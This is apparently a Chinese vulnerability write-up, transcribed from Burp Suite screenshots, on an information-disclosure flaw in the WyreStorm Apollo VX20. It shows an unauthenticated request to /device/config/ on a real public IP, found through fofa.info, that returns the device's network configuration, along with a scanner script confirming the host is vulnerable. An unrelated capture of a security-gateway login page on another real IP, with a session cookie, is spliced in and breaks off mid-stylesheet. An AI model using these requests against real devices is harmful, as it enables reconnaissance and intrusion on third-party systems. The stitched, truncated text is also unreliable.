

# WyreStorm Apollo VX20 信息泄露漏洞

Burp Suite Professional v2023.1.1 - Temporary Project - licensed to h3110w0r1d

Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Extensions Learn captcha-killer-modified

1 x 2 x 3 x 4 x 5 x 6 x 7 x 8 x +

Send Cancel < >

Target: https://97.105.73.41 HTTP/1

**Request**

Pretty Raw Hex

```
1 GET / HTTP/1.1
2 Host: 97.105.73.41
3 Cache-Control: max-age=0
4 Sec-Ch-Ua: "Google Chrome";v="125", "Chromium";v="125", "Not.A/Brand";v="24"
5 Sec-Ch-Ua-Mobile: ?0
6 Sec-Ch-Ua-Platform: "Windows"
7 Upgrade-Insecure-Requests: 1
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
10 Sec-Fetch-Site: same-origin
11 Sec-Fetch-Mode: navigate
12 Sec-Fetch-User: ?1
13 Sec-Fetch-Dest: document
14 Referer: https://fofa.info/
15 Accept-Encoding: gzip, deflate
16 Accept-Language: zh-CN,zh;q=0.9
17 Priority: u=0, i
18 Connection: close
19
20
```

**Response**

Pretty Raw Hex Render

```
1 HTTP/1.1 200 OK
2 Date: Thu, 01 Jan 1970 00:18:14 GMT
3 Last-Modified: Wed, 16 Mar 2022 06:23:06 GMT
4 Etag: "6231824a.1113"
5 Content-Type: text/html
6 Connection: close
7 Cache-Control: no-cache, no-store, must-revalidate, private, max-age=0
8 Pragma: no-cache
9 Expires: 0
10 Content-Length: 1113
11 Accept-Ranges: bytes
12
13 <!DOCTYPE html><html lang="">
  <head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width,initial-scale=1">
    <link rel="icon" href="favicon.ico">
    <title>
    </title>
    <link href="static/css/chunk-26410211.css" rel="prefetch">
    <link href="static/css/chunk-3d3b322f.css" rel="prefetch">
    <link href="static/css/chunk-6e31e7a2.css" rel="prefetch">
    <link href="static/css/chunk-c44e954.css" rel="prefetch">
    <link href="static/js/chunk-26410211.js?v1.1.20" rel="prefetch">
    <link href="static/js/chunk-3d3b322f.js?v1.1.20" rel="prefetch">
    <link href="static/js/chunk-6e31e7a2.js?v1.1.20" rel="prefetch">
    <link href="static/js/chunk-c44e954.js?v1.1.20" rel="prefetch">
    <link href="static/css/app.css" rel="preload" as="style">
    <link href="static/js/app.js?v1.1.20" rel="preload" as="script">
    <link href="static/js/chunk-vendors.js?v1.1.20" rel="preload" as="script">
    <link href="static/css/app.css" rel="stylesheet">
  </head>
  <body>
    <div id="app">
    </div>
    <script src="static/js/chunk-vendors.js?v1.1.20">
    </script>
    <script src="static/js/app.js?v1.1.20">
    </script>
  </body>
</html>
```

Search... 0 matches

Done 1,428 bytes | 209 millis

Burp Suite Professional v2023.1.1 - Temporary Project - licensed to h3110w0r1d

Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Extensions Learn captcha-killer-modified

1 x 2 x 3 x 4 x 5 x 6 x 7 x 8 x +

Send Cancel < >

Target: https://97.105.73.41 HTTP/1

**Request**

Pretty Raw Hex

```
1 GET /device/config/ HTTP/1.1
2 Host: 97.105.73.41
3 Cache-Control: max-age=0
4 Sec-Ch-Ua: "Google Chrome";v="125", "Chromium";v="125", "Not.A/Brand";v="24"
5 Sec-Ch-Ua-Mobile: ?0
6 Sec-Ch-Ua-Platform: "Windows"
7 Upgrade-Insecure-Requests: 1
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
10 Sec-Fetch-Site: same-origin
11 Sec-Fetch-Mode: navigate
12 Sec-Fetch-User: ?1
13 Sec-Fetch-Dest: document
14 Referer: https://fofa.info/
15 Accept-Encoding: gzip, deflate
16 Accept-Language: zh-CN,zh;q=0.9
17 Priority: u=0, i
18 Connection: close
19
20
```

**Response**

Pretty Raw Hex Render

```
1 HTTP/1.1 200 OK
2 Cache-Control: no-cache
3 Connection: close
4 Content-Type: application/json; charset=utf-8
5
6 {
  "ipinfo": {
    "ipmode": "dhcp",
    "ip4addr": "97.105.73.41",
    "netmask": "255.255.255.240",
    "gateway": "97.105.73.33",
    "dns1": "97.105.73.33",
    "dns2": ""
  },
  "output": {
    "hdcp": "auto",
    "timing": {
      "range": [
        "Auto",
        "3840x2160P*30",
        "1920x1080P*60",
        "1920x1200P*60",
        "1680x1050P*60",
        "1600x1200P*60",
        "1440x900P*60",
        "1366x768P*60",
        "1280x800P*60",
        "1280x720P*60",
        "1280x1024P*60",
        "1024x768P*60",
        "800x600P*60",
        "720x480P*60",
        "640x480P*60",
        "1920x1080P*30"
      ],
      "value": "Auto"
    }
  },
  "cec": {
    "enable": "y",
    "oncmd": "8004",
    "offcmd": "8036"
  },
  "screen": "single",
  "ipconflict": "y",
  "wifi": {
    "auto": "y",
    "band": "5",
    "channel": "1"
  }
}
```

Search... 0 matches

Done 779 bytes | 1,020 millis

PS C:\Users\Lenovo\Desktop\新建文件夹> python3 360.py -u'https://97.105.73.41'

WELCOME TO 360 SECURITY TOOL

@version:1.0.1

@autor:guoguo12138

[+该url:https://97.105.73.41存在漏洞

Burp Suite Professional v2023.1.1 - Temporary Project - licensed to h3110w0r1d

Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Extensions Learn captcha-killer-modified

1 2 3 4 5 6 7 8 9 +

Send Cancel < > >

Target: https://115.236.12.226:4430 HTTP/2

**Request**

Pretty Raw Hex

1 GET /login.html HTTP/2  
2 Host: 115.236.12.226:4430  
3 Cookie: USGESSID=0ba99656f40778174c2c5769be04e96c  
4 Cache-Control: max-age=0  
5 Sec-Ch-Ua: "Google Chrome";v="125", "Chromium";v="125", "Not.A/Brand";v="24"  
6 Sec-Ch-Ua-Mobile: ?0  
7 Sec-Ch-Ua-Platform: "Windows"  
8 Upgrade-Insecure-Requests: 1  
9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36  
10 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.7  
11 Sec-Fetch-Site: cross-site  
12 Sec-Fetch-Mode: navigate  
13 Sec-Fetch-User: ?1  
14 Sec-Fetch-Dest: document  
15 Referer: https://fofa.info/  
16 Accept-Encoding: gzip, deflate  
17 Accept-Language: zh-CN,zh;q=0.9  
18 Priority: u=0, i  
19  
20

**Response**

Pretty Raw Hex Render

1 HTTP/2 200 OK  
2 Content-Type: text/html; charset=utf-8  
3 Expires: Thu, 19 Nov 1981 08:52:00 GMT  
4 Cache-Control: no-store, no-cache, must-revalidate  
5 Cache-Control: no-store;Pragma: no-cache  
6 Pragma: no-cache  
7 X-Frame-Options: SAMEORIGIN  
8 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload  
9 X-Content-Type-Options: nosniff  
10 X-XSS-Protection: 1; mode=block  
11 X-Download-Options: noopen  
12 Content-Security-Policy: default-src 'self'; img-src 'self' data:; style-src 'self' 'unsafe-inline'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; frame-src 'self' http://www.ti-slab.com; frame-ancestors 'self'; media-src 'self'; font-src 'self'; object-src 'self';  
13 Server: HTTP Server 1.0  
14 X-Permitted-Cross-Domain-Policies: master-only  
15 Referrer-Policy: no-referrer-when-downgrade  
16 Public-Key-Pins: pin-sha256="uQ12uBdPcJctbStcRs7hIudP2PVMJ0j7MGfwZ211="; max-age=31536000; includeSubDomains  
17 Content-Length: 7684  
18 Date: Fri, 07 Jun 2024 02:43:43 GMT  
19  
20 <!DOCTYPE html>  
21 <html lang="en" style="height: 100%;overflow: hidden;">  
22 <head>  
23 <meta charset="UTF-8">  
24 <title>  
25 明御安全网关  
26 </title>  
27 <link rel="stylesheet" href="webui/css/reset.css">  
28 <style>  
29 \*{  
30 font-family:'Open Sans',sans-serif;  
31 !important;  
32 }  
33 body{  
34 height:100%;  
35 }  
36 #login{  
37 width:100%;  
38 height:100%;  
39 background-color:#010615!important;  
40 }  
41 #particles-js{  
42 position:absolute;  
43 top:0;  
44 width:100%;  
45 height:100%;  
46 z-index:6;  
47 }  
48

Inspector

Request attributes 2

Request query parameters 0

Request body parameters 0

Request cookies 1

Request headers 20

Response headers 17

0 matches 0 matches

Done 8,646 bytes | 323 millis